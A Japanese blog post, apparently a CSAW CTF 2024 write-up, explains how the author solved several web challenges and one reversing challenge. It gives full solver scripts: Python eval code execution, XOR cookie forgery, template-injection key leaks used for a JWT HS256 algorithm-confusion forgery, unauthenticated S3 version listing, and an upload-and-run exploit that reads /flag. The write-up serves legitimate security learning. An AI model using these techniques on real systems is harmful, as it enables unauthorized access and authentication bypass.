🪚

CSAW CTF 2024 - web writeup

2024/09/10に公開

毎度、脆弱エンジニアでCSAW CTFに参加して、103位でした。問題自体は全体的に簡単で、webは一問以外は3時間程度でクリアしてしまったので、実質他ジャンルにチャレンジする会となりました。

全体的な感想を一言で言うなら、長文で英語を書くことが苦にならないくらいの英語力があって良かったと思っています。

✅ Playing on the Backcourts(50pts 479/1184 クリア率40%)

PONGが遊べるサイト。いろんなエンドポイントがあるが、/get_evalという明らかに怪しいエンドポイントがある。

app_public.py
@app.route('/get_eval', methods=['POST'])
def get_eval() -> Flask.response_class:
    try:
        data = request.json
        expr = data['expr']
        
        return jsonify(status='success', result=deep_eval(expr))
    
    except Exception as e:
        return jsonify(status='error', reason=str(e))


def deep_eval(expr:str) -> str:
    try:
        nexpr = eval(expr)
    except Exception as e:
        return expr
    
    return deep_eval(nexpr)

したがって、safetytimeというフラグが書かれている変数をevalで読み込めばクリ...

$ python solver.py
{"result":"csawctf{7h1s_1S_n07_7h3_FL49_y0u_4R3_l00K1n9_f0R}","status":"success"}

...

というわけで__import__('os').popen('<シェルスクリプト>').read()といったRCEも駆使しながらいろいろ見ていくと、leaderboard.txtにフラグが存在することがわかった。
以下ソルバー

solver.py
import requests

URL = "https://backcourts.ctf.csaw.io/"
# URL = "http://localhost:5000/"

s = requests.session()
data = {
    "expr": "open('leaderboard.txt').read()"
}
# data = {
#     "expr": "__import__('os').popen('ls').read()"
# }
r = s.post(URL + "get_eval", json=data)
print(r.text)

✅ Log Me In(50pts 479/1184 クリア率29%)

ログインができるだけのシンプルなサイト。userinfo['uid'] == 0を満たすような状態でログインし、/userにアクセスするとクリア。

routes.py
@pagebp.route('/user')
def user():
    cookie = request.cookies.get('info', None)
    name='hello'
    msg='world'
    if cookie == None:
        return render_template("user.html", display_name='Not Logged in!', special_message='Nah')
    userinfo = decode(cookie)
    if userinfo == None:
        return render_template("user.html", display_name='Error...', special_message='Nah')
    name = userinfo['displays']
    msg = flag if userinfo['uid'] == 0 else "No special message at this time..."
    return render_template("user.html", display_name=name, special_message=msg)

cookieのエンコーディングは以下の通り。シンプルなXOR暗号である。

utils.py
# Some cryptographic utilities
def encode(status: dict) -> str:
    try:
        plaintext = json.dumps(status).encode()
        out = b''
        for i,j in zip(plaintext, os.environ['ENCRYPT_KEY'].encode()):
            out += bytes([i^j])
        return bytes.hex(out)
    except Exception as s:
        LOG(s)
        return None

def decode(inp: str) -> dict:
    try:
        token = bytes.fromhex(inp)
        out = ''
        for i,j in zip(token, os.environ['ENCRYPT_KEY'].encode()):
            out += chr(i ^ j)
        user = json.loads(out)
        return user
    except Exception as s:
        LOG(s)
        return None

暗号化される文字列は予測可能なので、cookieによって読み取れる暗号文と、予測される平文をXORすることによって、os.environ['ENCRYPT_KEY']を逆算できる。この結果を利用して、userinfo['uid'] == 0を満たすようなcookieを作成して/userにアクセスするとフラグが得られる。

以下ソルバー

solver.py
import json
import requests

URL = "https://logmein1.ctf.csaw.io/"

def xor(v1, v2):
    res = ''
    for i,j in zip(v1, v2):
        res += chr(i ^ j)
    return res.encode()

s = requests.session()
user = {
    "username": "x"*50,
    "displayname": "y"*50,
    "password": "pass"
}
r = s.post(URL + "register", data=user)
r = s.post(URL + "login", data=user)

cbytes = bytes.fromhex(s.cookies["info"])
exp_text = json.dumps({
    'username':user["username"],
    'displays':user["displayname"],
    'uid':1
}).encode()
key = xor(cbytes, exp_text)

s = requests.session()
new_text = json.dumps({
    'username':user["username"],
    'displays':user["displayname"],
    'uid':0
}).encode()
s.cookies["info"] = xor(key, new_text).hex()

r = s.get(URL + "user")
print(r.text)

✅ Lost Pyramid (126pts 252/1184 クリア率21%)

次の条件を満たすようなJWTをcookieに持たせた上で、/kings_lairにアクセスするとフラグがもらえる。

  1. ROLE"royalty"
  2. CURRENT_DATEがグローバル変数KINGSDAYと一致
  3. jwt.decode(token, PUBLICKEY, algorithms=jwt.algorithms.get_default_algorithms())で復号できる。
app.py
@app.route('/kings_lair', methods=['GET'])
def kings_lair():
    token = request.cookies.get('pyramid')
    if not token:
        return jsonify({"error": "Token is required"}), 400

    try:
        decoded = jwt.decode(token, PUBLICKEY, algorithms=jwt.algorithms.get_default_algorithms())
        if decoded.get("CURRENT_DATE") == KINGSDAY and decoded.get("ROLE") == "royalty":
            return render_template('kings_lair.html')
        else:
            return jsonify({"error": "Access Denied: King said he does not way to see you today."}), 403
        """ snap """

/scrab_roomという別のエンドポイントに、SSTIの脆弱性がある。

app.py
@app.route('/scarab_room', methods=['GET', 'POST'])
def scarab_room():
    try:
        if request.method == 'POST':
            name = request.form.get('name')
            if name:
                kings_safelist = ['{','}', '𓁹', '𓆣','𓀀', '𓀁', '𓀂', '𓀃', '𓀄', '𓀅', '𓀆', '𓀇', '𓀈', '𓀉', '𓀊', 
                                    '𓀐', '𓀑', '𓀒', '𓀓', '𓀔', '𓀕', '𓀖', '𓀗', '𓀘', '𓀙', '𓀚', '𓀛', '𓀜', '𓀝', '𓀞', '𓀟',
                                    '𓀠', '𓀡', '𓀢', '𓀣', '𓀤', '𓀥', '𓀦', '𓀧', '𓀨', '𓀩', '𓀪', '𓀫', '𓀬', '𓀭', '𓀮', '𓀯',
                                    '𓀰', '𓀱', '𓀲', '𓀳', '𓀴', '𓀵', '𓀶', '𓀷', '𓀸', '𓀹', '𓀺', '𓀻']  

                name = ''.join([char for char in name if char.isalnum() or char in kings_safelist])

                
                return render_template_string('''
                    <!DOCTYPE html>
                    <html lang="en">
                    <!-- snap -->
                    <body>
                        <a href="{{ url_for('hallway') }}" class="return-link">RETURN</a>
                        
                        {% if name %}
                            <h1>𓁹𓁹𓁹 Welcome to the Scarab Room, '''+ name + ''' 𓁹𓁹𓁹</h1>
                        {% endif %}
                        
                    </body>
                    </html>
                ''', name=name, **globals())
    except Exception as e:
        pass

    return render_template('scarab_room.html')

nameには英数字と{}、そしてヒエログリフしか利用できないが、{{PUBLICKEY}}{{KINGSDAY}}といったペイロードを利用することによって、それらの値を取得できる。

さて、サーバーではjwtはEdDSAという暗号方式を利用している。これは、暗号化に秘密鍵が、復号に公開鍵が必要なタイプの暗号化形式である。

app.py
@app.route('/entrance', methods=['GET'])
def entrance():
    payload = {
        "ROLE": "commoner",
        "CURRENT_DATE": f"{current_date}_AD",
        "exp": datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=(365*3000))
    }
    token = jwt.encode(payload, PRIVATE_KEY, algorithm="EdDSA")
    """ snap """

SSTIでは_が使えずPRIVATE_KEYを取得することができないため、この暗号化方式と同じ方法では暗号化できない。

しかし、3.の条件にある通り、暗号化方式はjwt.algorithms.get_default_algorithms()のいずれかでよい。一見noneでも大丈夫なように思えるが、jwt.decodeは、鍵が設定されている状態ではnoneに設定できないようになっている。

ただし、暗号化と復号を同じ鍵で行う形式を利用すれば、取得済みであるPUBLICKEYで暗号化することができる。今回は、HS256を利用した。

あとは、条件に当てはまるようなペイロードをjwtで暗号化してcookieに付与し、/kings_lairにアクセスすればフラグがもらえる。

以下ソルバー

solver.py
import requests
import re
import jwt

URL = "https://lost-pyramid.ctf.csaw.io/"
# URL = "http://localhost:8050/"
s = requests.session()
data = {
    "name": "{{KINGSDAY}}"
}
r = s.post(URL + "scarab_room", data=data)
KINGSDAY = re.findall("Room, (.+) ", r.text)[0]
data = {
    "name": "{{PUBLICKEY}}"
}
r = s.post(URL + "scarab_room", data=data)
PUBLICKEY = re.findall("Room, (.+) ", r.text)[0][6:-5]

payloads = {
    "CURRENT_DATE": KINGSDAY,
    "ROLE": "royalty"
}

s.cookies["pyramid"] = jwt.encode(payloads, PUBLICKEY, "HS256")
r = s.get(URL + "kings_lair")
print(r.text)

✅ BucketWars (415pts 479/1184 クリア率10%)

バケツについて説明(?)が乗っているサイト。ソースコードはなし。

/versions.htmlにアクセスすると、過去のバージョンが見れる。ただし、v1については「YIKES」と表示されるだけだ。

ステータスコードが404になるようなページを見ると、このサイトがawsのs3を通じて提供されていることがわかる。

バケツの説明を呼んでみる。ここで、s3の提供されるファイルのグループの単位もbucketと呼ばれることに注意する。

/index.html
Looking deeper into the stolen bucket only reveals past versions of our own selves one might muse
盗まれたバケツをさらに深く探っていくと、過去バージョンの自分が見えてくる。

/index_v3.html
Bucket for one?
1のバケツ?

ヒントを元に、/index_v1.htmlの過去のバージョンが見られるような設定になってないか確かめたい。aws cliのs3apiというコマンド群を利用すると、s3の様々な情報を取得することができる。list-object-versionsというコマンドによって過去のバージョンの一覧を取得できる。

s3が正しく設定されていれば、このコマンドは失敗するはずだが、誤って全てのユーザーが利用できてしまう場合、--no-sign-requestオプションを利用すると、認証なしでデータを取得できてしまう。

aws s3api list-object-versions --bucket bucketwars.ctf.csaw.io --no-sign-request --prefix index_v1.html 

実行結果

{
    "Versions": [
        {
            "ETag": "\"07bb73d00569d07588c0b5661438d9d8\"",
            "Size": 1118,
            "StorageClass": "STANDARD",
            "Key": "index_v1.html",
            "VersionId": "xueLuUGnF1kS6dcOaspeUUZN0N4Cdlsq",
            "IsLatest": true,
            "LastModified": "2024-08-05T01:59:50+00:00"
        },
        {
            "ETag": "\"d3f2f46b2f1814b636cb1c7991a1a328\"",
            "Size": 1290,
            "StorageClass": "STANDARD",
            "Key": "index_v1.html",
            "VersionId": "ToA1N09DluJkPVFATO6IwOTZzhDkva09",
            "IsLatest": false,
            "LastModified": "2024-08-05T00:26:48+00:00"
        },
        {
            "ETag": "\"5c3665517b3e538158ab09b15a647dbb\"",
            "Size": 1456,
            "StorageClass": "STANDARD",
            "Key": "index_v1.html",
            "VersionId": "zCVAK4kjygiOnWWGGi1BZOR87Ef09Z0L",
            "IsLatest": false,
            "LastModified": "2024-08-05T00:20:20+00:00"
        },
        {
            "ETag": "\"9a5824c100e6975c203e2ae517c9ec0d\"",
            "Size": 1555,
            "StorageClass": "STANDARD",
            "Key": "index_v1.html",
            "VersionId": "CFNz2JPIIJfRlNfnVx8a45jgh0J90KxS",
            "IsLatest": false,
            "LastModified": "2024-08-05T00:20:08+00:00"
        },
        {
            "ETag": "\"130f7fdffa9c3a0e24853b651dfe07ac\"",
            "Size": 1571,
            "StorageClass": "STANDARD",
            "Key": "index_v1.html",
            "VersionId": "t6G6A20JCaF5nzz6KuJR6Pj1zePOLAdB",
            "IsLatest": false,
            "LastModified": "2024-08-05T00:19:57+00:00"
        }
    ],
    "RequestCharged": null
}

以下のコマンドで、ファイルを実際に取得できる。

aws s3api get-object --bucket bucketwars.ctf.csaw.io --no-sign-request --key index_v1.html --version-id <VersionId> index_v1_1.html

すると、最も古いファイルには画像が埋め込まれていた。

index_v1_4.html
    Wait what's here?
    <img src="https://asdfaweofijaklfdjkldfsjfas.s3.us-east-2.amazonaws.com/sand-pit-1345726_640.jpg">

二番目に古いファイルには、パスワードが含まれていた。

index_v1_3.html
    Oh it can't be
    <!-- Note to self: be sure to delete this password: versions_leaks_buckets_oh_my -->

初日はここまでたどり着いて、パスワードの使いみちがわからず途方にくれていた。作成者の情報がわかればIAMユーザーとしてログインできるか?あるいは、S3にパスワードを利用するような設定があったか?などいろいろ悩んだ。

そして、Forensicsの問題を解いているときにそういえばSteghideというものがあることを思い出した。これは、jpegの中に任意のファイルを埋め込むことができるツールだ。

いや、そんなわけ...

$ curl https://asdfaweofijaklfdjkldfsjfas.s3.us-east-2.amazonaws.com/sand-pit-1345726_640.jpg --output img.jpg && steghide extract -sf img.jpg -p versions_leaks_buckets_oh_my
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  202k  100  202k    0     0   199k      0  0:00:01  0:00:01 --:--:--  199k
wrote extracted data to "flag.txt".

はぁ.........

✅ Charlies Angels (423pts 115/1184 クリア率9.7%)

ごめんなさい。このサイトが本来何したいのか全く分かりませんでした。本来の機能より脆弱性の方が明らかなのなあぜなあぜ?

nodepyという2つのサーバーが立っている。このうち、ユーザーがアクセスできるのはnodeのみ。

pyの、/restoreというエンドポイントには、pythonファイルを実行する機能がある。また、そのためのファイルも/backupというエンドポイントでアップロードできる。

py/app.py

BANNED = ["app.py", "flag", "requirements.txt"]
@app.route('/backup', methods=["POST"])
def backup():
    if request.files: 
        for x in request.files:
            file = request.files.get(x)
            for f in BANNED:
                if file.filename in f or ".." in file.filename:
                    return "ERROR"
            try:
                name = file.filename
                if "backups/" not in name:
                    name = "backups/" + name
                f = open(name, "a")
                f.write(file.read().decode())
                f.close()
            except:
                return "ERROR"
    else:
        backupid = "backups/" + request.json["id"] + ".json"
        angel = request.json["angel"]
        f = open(backupid, "a")
        f.write(angel)
        f.close()
    
    return "SUCCESS"

@app.route('/restore', methods=["GET"])
def restore():
    filename = os.path.join("backups/", request.args.get('id'))
    restore = "ERROR"
    if os.path.isfile(filename + '.py'):
        try:
            py = filename + '.py'
            test = subprocess.check_output(['python3', py])
            if "csawctf" in str(test): 
                return "ERROR"
            restore = str(test)
        except subprocess.CalledProcessError as e:
            filename = "backups/" + request.args.get('id') + 'json'
            if not os.path.isfile(filename): return "ERROR"
            f = open(filename, "r")
            jsonified = json.dumps(f.read())
            if "flag" not in filename or "csawctf" not in jsonified:
                restore = jsonified
    return restore

ファイルのアップロードに関しては、multipart/form-dataの形式でPOSTできたら良さそうだ。

jsでこのエンドポイントを呼び出している箇所を見てみる。

js/index.js
app.post('/angel', (req, res) => {
    for (const [k,v] of Object.entries(req.body.angel)) {
        if (k != "talents" && typeof v != 'string') {
            return res.status(500).send("ERROR!");
        }
    }
    req.session.angel = {
        name: req.body.angel.name,
        actress: req.body.angel.actress,
        movie: req.body.angel.movie,
        talents: req.body.angel.talents
    };
    const data = {
        id: req.sessionID,
        angel: req.session.angel
    };
    const boundary = Math.random().toString(36).slice(2) + Math.random().toString(36).slice(2);
    needle.post(BACKUP + '/backup', data, {multipart: true, boundary: boundary},  (error, response) => {
        if (error){
            console.log(error);
            return res.status(500).sendFile('public/html/error.html', {root: __dirname});
        }
    });
    return res.status(200).send(req.sessionID);

});

needleというライブラリを使っているので、ファイルのアップロードの方法を見てみると、

needle.post(URL, {
  python_file: {
    buffer       : "print(open('/flag').read())",
    filename     : 'foobar.py',
    content_type : 'text/plain'
  }
}, { multipart: true }, ...);

といった形式でファイルを文字列で送ることができるようだ。body.angel.talentsには任意の文字列を送ることができるので、次のようなリクエストを送るとファイルが生成される

test.py
data = {
    "angel": {
        "talents": {
            "buffer": "print(open('/flag').read())",
            "filename": f"foobar.py",
            "content_type": "text/plain",
        }
    }
}
r = s.post(URL + "angel", json=data)

次にpy/restoreがどのように送られているかを確認する

index.js
app.get('/restore', authn, (req, res) => {  
    let restoreURL = BACKUP + `/restore?id=${req.sessionID}`;
    needle.get(restoreURL, (error, response) => {
        try {
            if (error) throw new Error(error);
            if (response.body == "ERROR") throw new Error("HTTP Client error");
            return res.send(response.body);
        } catch (e) {
            if (e.message != "HTTP Client error") {
                console.log(e);
            }
            return res.status(500).sendFile('public/html/error.html', {root: __dirname});
        }
    });
});

idのパラメータがreq.sessionIDとなっているので、pythonのコードを組み合わせて考えると、<req.sessionID>.pyというファイルが実行されることがわかる。

したがって、次のようなステップでフラグを入手できる。

  1. 適当なペイロードで/angelを叩き、sessionIDを取得する
  2. そのsessionIDのファイル名でフラグを読み込むファイルを生成する
  3. /restoreを叩き、ファイルを実行、結果を確認する。

また、実行結果にcsawctfの文字があるとエラーになる

app.py
@app.route('/restore', methods=["GET"])
def restore():
    """ snap """
            if "csawctf" in str(test): 
                return "ERROR"

これは単純に実行した結果にcsawctfが含まれないようにprint(open('/flag').read()[1:])とすればよい。

以下がソルバー

solver.py
import requests

URL = "https://charliesangels.ctf.csaw.io/"
# URL = "http://localhost:1337/"

s = requests.session()

filename = "foobar"

data = {
    "angel": {
        "name": "aname",
        "actress": "aactress",
        "movie": "foobar",
    }
}
r = s.post(URL + "angel", json=data)
id = r.text

data = {
    "angel": {
        "talents": {
            "filename": f"{id}.py",
            "buffer": "print(open('/flag').read()[1:])",
            "content_type": "text/plain",
        }
    }
}
r = s.post(URL + "angel", json=data)

r = s.get(URL + "restore")
print(r.text)

おまけ: ✅ Archeology (426pts 113/1184 クリア率9.5%)

普段はあまり解いてないRev問題が面白かったので、たまにはwriteup書きます。

バイナリのchalというファイル、縦に256個のヒエログリフが並んだhieroglyph.txt、そしてmessage.txtというファイルが与えられる。chalを実行してみると次のようになる。

$ ./chal teststring
Encrypted data: 𓁙𓅈𓃳𓆞𓀚𓅀𓁝𓀘𓃹𓅀

$ ./chal teststrinh
Encrypted data: 𓁛𓅶𓃮𓀊𓆑𓆔𓁯𓅉𓁲𓆔

入力文字数と出力文字数同じであることから、何らかの暗号化が施されていることがわかる。chalはELFなので、早速Ghidraでデコンパイルしてみよう。

興味がある場所は以下の通り。若干型の調整と変数名の割当を行った。

    local_272d = 0xddccbbaa;
    local_2729 = 0xee;
    input = (char *)param_2[1];
    *(undefined8 *)(puVar6 + -0x1788) = 0x1017ae;
    sVar5 = strlen(input);
    input_len = (int)sVar5;
    idx = 0;
    *(undefined8 *)(puVar6 + -0x1788) = 0x1017d2;
    printf("Encrypted data: ");
    *(undefined8 *)(puVar6 + -0x1788) = 0x1017ed;
    washing_machine(input,(long)input_len);
    for (i = 0; i < input_len; i = i + 1) {
      program[idx] = '\0';
      iVar1 = idx + 2;
      program[idx + 1] = '\x01';
      idx = idx + 3;
      program[iVar1] = input[i];
      for (j = 0; j < 10; j = j + 1) {
        program[idx] = '\0';
        program[idx + 1] = '\0';
        program[idx + 2] = *(char *)((long)&local_272d + (long)((j + i * 10) % 5));
        program[idx + 3] = '\b';
        program[idx + 4] = '\x01';
        program[idx + 5] = '\x03';
        program[idx + 6] = '\x03';
        program[idx + 7] = '\x01';
        program[idx + 8] = '\x01';
        program[idx + 9] = '\x01';
        program[idx + 10] = '\0';
        program[idx + 0xb] = '\x02';
        iVar1 = idx + 0xd;
        program[idx + 0xc] = '\x01';
        idx = idx + 0xe;
        program[iVar1] = '\x03';
      }
      program[idx] = '\x04';
      iVar1 = idx + 2;
      program[idx + 1] = '\x01';
      idx = idx + 3;
      program[iVar1] = (char)i;
    }
    program[idx] = '\a';
    *(undefined8 *)(puVar6 + -0x1788) = 0x101aa6;
    runnnn(program);
    *(undefined8 *)(puVar6 + -0x1788) = 0x101ac0;
    washing_machine(memory,(long)input_len);
    *(undefined8 *)(puVar6 + -0x1788) = 0x101ad9;
    __stream = fopen("hieroglyphs.txt","r");
    if (__stream != (FILE *)0x0) {
      iStack_1275c = 0;
      while( true ) {
        *(undefined8 *)(puVar6 + -0x1788) = 0x101b8a;
        input = fgets(acStack_12738 + (long)iStack_1275c * 0x100,0x100,__stream);
        if ((input == (char *)0x0) || (0xff < iStack_1275c)) break;
        *(undefined8 *)(puVar6 + -0x1788) = 0x101b37;
        sVar5 = strcspn(acStack_12738 + (long)iStack_1275c * 0x100,"\n");
        acStack_12738[sVar5 + (long)iStack_1275c * 0x100] = '\0';
        iStack_1275c = iStack_1275c + 1;
      }
      *(undefined8 *)(puVar6 + -0x1788) = 0x101bae;
      fclose(__stream);
      for (iStack_12758 = 0; iStack_12758 < input_len; iStack_12758 = iStack_12758 + 1) {
        bVar2 = memory[iStack_12758];
        *(undefined8 *)(puVar6 + -0x1788) = 0x101c01;
        printf("%s",acStack_12738 + (long)(int)(uint)bVar2 * 0x100);
      }
      *(undefined8 *)(puVar6 + -0x1788) = 0x101c20;
      putchar(10);
                    /* WARNING: Subroutine does not return */
      *(undefined8 *)(puVar6 + -0x1788) = 0x101c2a;
      exit(0);
    }

流れとしては以下の通り。

  1. washing_machineという関数で、inputを変更
  2. programという文字列を作成
  3. runnnnn関数を実行
  4. washing_machineという関数で、memoryを変更
  5. memoryの中身を、対応するヒエログリフに変換して出力

5.の箇所は、例えば値が0だったらhieroglyph.txtの1行目、1だったら2行目...のようにしているだけなので、簡単に逆算できる。

solver.py
message = open('message.txt', "r").read()
hieroglyphs = open('hieroglyphs.txt', 'r').read()
hieroglyphs = hieroglyphs.split("\n")[:-1]
message = [hieroglyphs.index(x) for x in message]

次に、washing_machineが何をしているのかを確認する。

void washing_machine(byte *input,ulong input_len)

{
  byte prev;
  ulong i;
  ulong j;
  byte tmp;
  
  prev = *input;
  for (i = 1; i < input_len; i = i + 1) {
    prev = input[i] ^ prev;
    input[i] = prev;
  }
  for (j = 0; j < input_len >> 1; j = j + 1) {
    tmp = input[j];
    input[j] = input[(input_len - j) + -1];
    input[(input_len - j) + -1] = tmp;
  }
  return;
}

次のような操作である。

  1. 1文字目を0文字目とのXORに置換する。
  2. 2文字目を置換された1文字目とのXORに置換する
  3. 1-2を全部の文字で繰り返す
  4. 最初の文字と最後の文字を交換する
  5. 2文字目と、最後から2文字目を交換する
  6. 4-5を全部の文字で繰り返す

次がこれを逆算するコードとなる

solver.py
def dewash(input):
    for i in range(len(input) // 2):
        input[i] , input[(len(input)-i) - 1] = input[(len(input)-i) - 1], input[i]

    for i in range(len(input)-1, 0, -1):
        input[i] = input[i] ^ input[i-1]
    return input

次に、runnnnが何をしているのかを見よう。

void runnnn(char *program)

{
  int iVar1;
  int iVar2;
  byte bVar3;
  int idx;
  bool finish;
  
  idx = 0;
  finish = true;
  while (finish) {
    iVar1 = idx + 1;
    switch(program[idx]) {
    case '\0':
      iVar2 = idx + 2;
      idx = idx + 3;
      regs[(int)(uint)(byte)program[iVar1]] = program[iVar2];
      break;
    case '\x01':
      iVar2 = idx + 2;
      idx = idx + 3;
      regs[(int)(uint)(byte)program[iVar1]] =
           regs[(int)(uint)(byte)program[iVar1]] ^ regs[(int)(uint)(byte)program[iVar2]];
      break;
    case '\x02':
      iVar2 = idx + 2;
      bVar3 = program[iVar1];
      idx = idx + 3;
      regs[(int)(uint)bVar3] =
           regs[(int)(uint)bVar3] << (program[iVar2] & 0x1fU) |
           (byte)((int)(uint)(byte)regs[(int)(uint)bVar3] >> (8U - program[iVar2] & 0x1f));
      break;
    case '\x03':
      idx = idx + 2;
      regs[(int)(uint)(byte)program[iVar1]] =
           sbox[(int)(uint)(byte)regs[(int)(uint)(byte)program[iVar1]]];
      break;
    case '\x04':
      iVar2 = idx + 2;
      idx = idx + 3;
      memory[(int)(uint)(byte)program[iVar2]] = regs[(int)(uint)(byte)program[iVar1]];
      break;
    case '\x05':
      iVar2 = idx + 2;
      idx = idx + 3;
      regs[(int)(uint)(byte)program[iVar1]] = memory[(int)(uint)(byte)program[iVar2]];
      break;
    case '\x06':
      idx = idx + 2;
      putchar((uint)(byte)regs[(int)(uint)(byte)program[iVar1]]);
      break;
    case '\x07':
      finish = false;
      idx = iVar1;
      break;
    case '\x08':
      bVar3 = program[iVar1];
      regs[(int)(uint)bVar3] =
           (byte)((int)(uint)(byte)regs[(int)(uint)bVar3] >> (program[idx + 2] & 0x1fU)) |
           regs[(int)(uint)bVar3] << (8U - program[idx + 2] & 0x1f);
      idx = idx + 3;
      break;
    default:
      puts("Invalid instruction");
      finish = false;
      idx = iVar1;
    }
  }
  return;
}

どうやら、独自のバイトコード的なものが定義されている。現在注目している位置のprogramの値を読み取り、それを元にその先の1~2バイト先を利用して、regsという配列に対して操作を行っているようだ。以下、v1を1つ目のオペランド、v2を2つ目のオペランドとする。

  • 0 - reg[v1]v2を代入する
  • 1 - reg[v1]reg[v1] XOR reg[v2]に置き換える
  • 2 - reg[v1]v2分左算術シフトする
  • 3 - reg[v1]sbox[reg[v1]]に置き換える
  • 4 - reg[v1]memory[v2]に保存する。
  • 7 - プログラムを終了する。
  • 8 - reg[v1]v2分右算術シフトする

ここで、sboxは0から255の値の入った配列をシャッフルしたような内容になっているので、3は全単射の操作となっている。

以上を踏まえて、実行されるプログラムは次のpythonプログラムに大体等しい

regs = [None] * 8
memory = []
sft = [ord(x) for x in ["\xaa", "\xbb","\xcc","\xdd","\xee"]]
for i in range(len(message)):
    regs[1] = input[i]
    for j in range(10):
        regs[0] = sft[j%5]
        regs[1] = (regs[1] >> 3) | (regs[1] << 5) & 0xFF
        regs[1] = sbox[regs[1]]
        regs[1] = regs[1] ^ regs[0]
        regs[1] = (regs[1] << 3) | (regs[1] >> 5) & 0xFF
    memory.append(regs[1])

これを逆算すると、次のようになる

res = []
for cur in message:
    for j in range(9,-1,-1):
        cur = ((cur >> 3) | (cur << 5)) & 0xFF
        cur = cur ^ sft[j%5]
        cur = sbox.index(cur)
        cur = ((cur << 3) | (cur >> 5)) & 0xFF
    res.append(cur)

以上までをまとめたのが以下のソルバーとなる

solver.py
def dewash(input):
    for i in range(len(input) // 2):
        input[i] , input[(len(input)-i) - 1] = input[(len(input)-i) - 1], input[i]

    for i in range(len(input)-1, 0, -1):
        input[i] = input[i] ^ input[i-1]
    return input

message = open('message.txt', "r").read()
hieroglyphs = open('hieroglyphs.txt', 'r').read()
hieroglyphs = hieroglyphs.split("\n")[:-1]
message = [hieroglyphs.index(x) for x in message]
message = dewash(message)

sbox = [int(x, 16) for x in "48 5c bc 97 81 91 60 ad 94 cb 92 39 1a 0f 30 2d 45 de 14 a2 08 57 b6 ae 76 8e 87 15 0c e7 62 c8 58 29 6d c9 a7 be 04 49 05 fa 75 9f fd 95 bb 5b 79 bf da eb 21 9b a5 82 3a 3e b9 99 f0 f5 6b 06 fc af f2 b0 78 86 cf d4 83 59 00 4a b5 fe ab 3d c7 8c e3 c3 e5 03 5a 1d 9d 1f 0a 56 c0 ba 43 25 77 24 7c a6 df f1 4b 44 ff 4c aa c1 69 f9 38 88 9a a4 e6 10 dc ea 68 8d 5f 63 bd 8b f3 7e db 73 5d 65 67 a1 72 d8 b1 1b 9e 84 16 32 e1 f4 ef 93 ac 74 36 8f cc 61 0d 35 12 dd 4e c4 64 3f 09 70 2a fb c5 85 3b 1c 50 19 d5 e9 47 0b e2 ca c6 f7 b2 d6 f8 11 54 6e 90 c2 ec 96 51 d7 e8 31 80 7d 18 34 b7 02 a0 7a b3 d0 46 66 37 1e 7b 42 6c 17 d9 33 2b 22 ce a9 7f b4 07 6a 41 40 26 2f a8 cd 71 b8 53 13 5e f6 e0 52 4f 6f e4 89 3c 9c a3 8a 4d 28 0e d3 d2 98 ee 2c 2e ed 27 20 01 23 55 d1".split(' ')]
regs = [None] * 8
sft = [ord(x) for x in ["\xaa", "\xbb","\xcc","\xdd","\xee"]]

res = []
for m in message:
    cur = m
    for j in range(9,-1,-1):
        cur = ((cur >> 3) | (cur << 5)) & 0xFF
        cur = cur ^ sft[j%5]
        cur = sbox.index(cur)
        cur = ((cur << 3) | (cur >> 5)) & 0xFF
    res.append(cur)

print("".join([chr(x) for x in dewash(res)]))

Discussion